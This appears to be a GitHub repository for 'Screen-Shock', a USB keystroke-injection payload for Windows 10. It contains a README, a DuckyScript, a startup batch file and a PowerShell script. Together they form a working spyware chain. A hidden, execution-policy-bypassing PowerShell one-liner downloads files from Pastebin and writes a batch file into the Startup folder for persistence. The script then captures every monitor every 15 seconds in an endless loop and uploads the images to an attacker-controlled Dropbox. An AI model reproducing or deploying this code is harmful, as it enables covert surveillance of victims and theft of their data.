Add files via upload

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atomic 2022-09-07 19:56:31 -04:00 committed by GitHub
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@echo off
powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}"
pause

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<img src="https://github.com/atomiczsec/My-Payloads/blob/main/Assets/screen.png" width="200">
<h1 align="center">
<a href="https://git.io/typing-svg">
<img src="https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+;Screen+Shock!+😈&center=true&size=30">
</a>
</h1>
<!-- TABLE OF CONTENTS -->
<details>
<summary>Table of Contents</summary>
<ol>
<li><a href="#Description">Description</a></li>
<li><a href="#getting-started">Getting Started</a></li>
<li><a href="#Contributing">Contributing</a></li>
<li><a href="#Version-History">Version History</a></li>
<li><a href="#Contact">Contact</a></li>
<li><a href="#Acknowledgments">Acknowledgments</a></li>
</ol>
</details>
# Screen-Shock
This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)
## Description
This payload uses iwr to download 2 files
* I.bat
* c.ps1
**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup
**c.ps1** will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds
Then the contents will then be sent to the DropBox for viewing pleasure
## Getting Started
### Dependencies
* Pastebin or other file sharing service, Dropbox
* Windows 10
* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload
<p align="right">(<a href="#top">back to top</a>)</p>
### Executing program
* Plug in your device
* Device will download both files and place them in proper directories to then run the script
```
powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
```
<p align="right">(<a href="#top">back to top</a>)</p>
## Contributing
All contributors names will be listed here:
[atomiczsec](https://github.com/atomiczsec)
<p align="right">(<a href="#top">back to top</a>)</p>
## Version History
* 0.1
* Initial Release
<p align="right">(<a href="#top">back to top</a>)</p>
<!-- CONTACT -->
## Contact
<h2 align="center">📱 My Socials 📱</h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1">
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
</a>
<br>YouTube
</td>
<td align="center" width="96">
<a href="https://twitter.com/atomiczsec">
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
</a>
<br>Twitter
</td>
<td align="center" width="96">
<a href="https://discord.gg/MYYER2ZcJF">
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
</a>
<br>I-Am-Jakoby's Discord
</td>
</tr>
</table>
</div>
<p align="right">(<a href="#top">back to top</a>)</p>
<p align="right">(<a href="#top">back to top</a>)</p>
<!-- ACKNOWLEDGMENTS -->
## Acknowledgments
* [Hak5](https://hak5.org/)
* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)
<p align="right">(<a href="#top">back to top</a>)</p>

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do{
function DropBox-Upload {
[CmdletBinding()]
param (
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
[Alias("f")]
[string]$SourceFilePath
)
$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token
$outputFile = Split-Path $SourceFilePath -leaf
$TargetFilePath="/$outputFile"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $DropBoxAccessToken
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
}
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
$screens = [Windows.Forms.Screen]::AllScreens
$top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum
$left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum
$width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum
$height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum
$bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height)
$bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height)
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png")
$graphics.Dispose()
$bmp.Dispose()
start-sleep -Seconds 15
"$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload
}until($infinity)

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REM Title: Screen-Shock
REM Author: atomiczsec
REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file)
REM Target: Windows 10
DELAY 2000
GUI
DELAY
STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1""
ENTER
REM Remember to replace the link with your pastebin shared link for the intended files to download
REM Also remember to put in your discord webhook in c.ps1
REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH

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